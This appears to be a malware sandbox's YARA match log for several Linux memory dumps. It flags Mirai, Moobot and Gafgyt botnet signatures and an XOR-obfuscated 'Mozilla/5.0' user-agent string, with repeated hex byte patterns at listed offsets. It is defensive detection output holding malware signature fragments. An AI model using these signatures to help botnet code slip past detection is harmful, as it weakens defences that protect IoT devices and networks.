6486.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6366.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7377.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6574.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6574.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6574.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6574.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6574.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6574.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7367.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7367.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7367.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7367.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7367.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7367.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7228.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7228.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7228.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7228.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7228.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7228.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6374.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6374.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6374.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6374.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6374.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6374.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6761.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6761.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6761.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6761.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6761.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6761.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6424.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6798.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7010.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6946.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6278.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7040.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
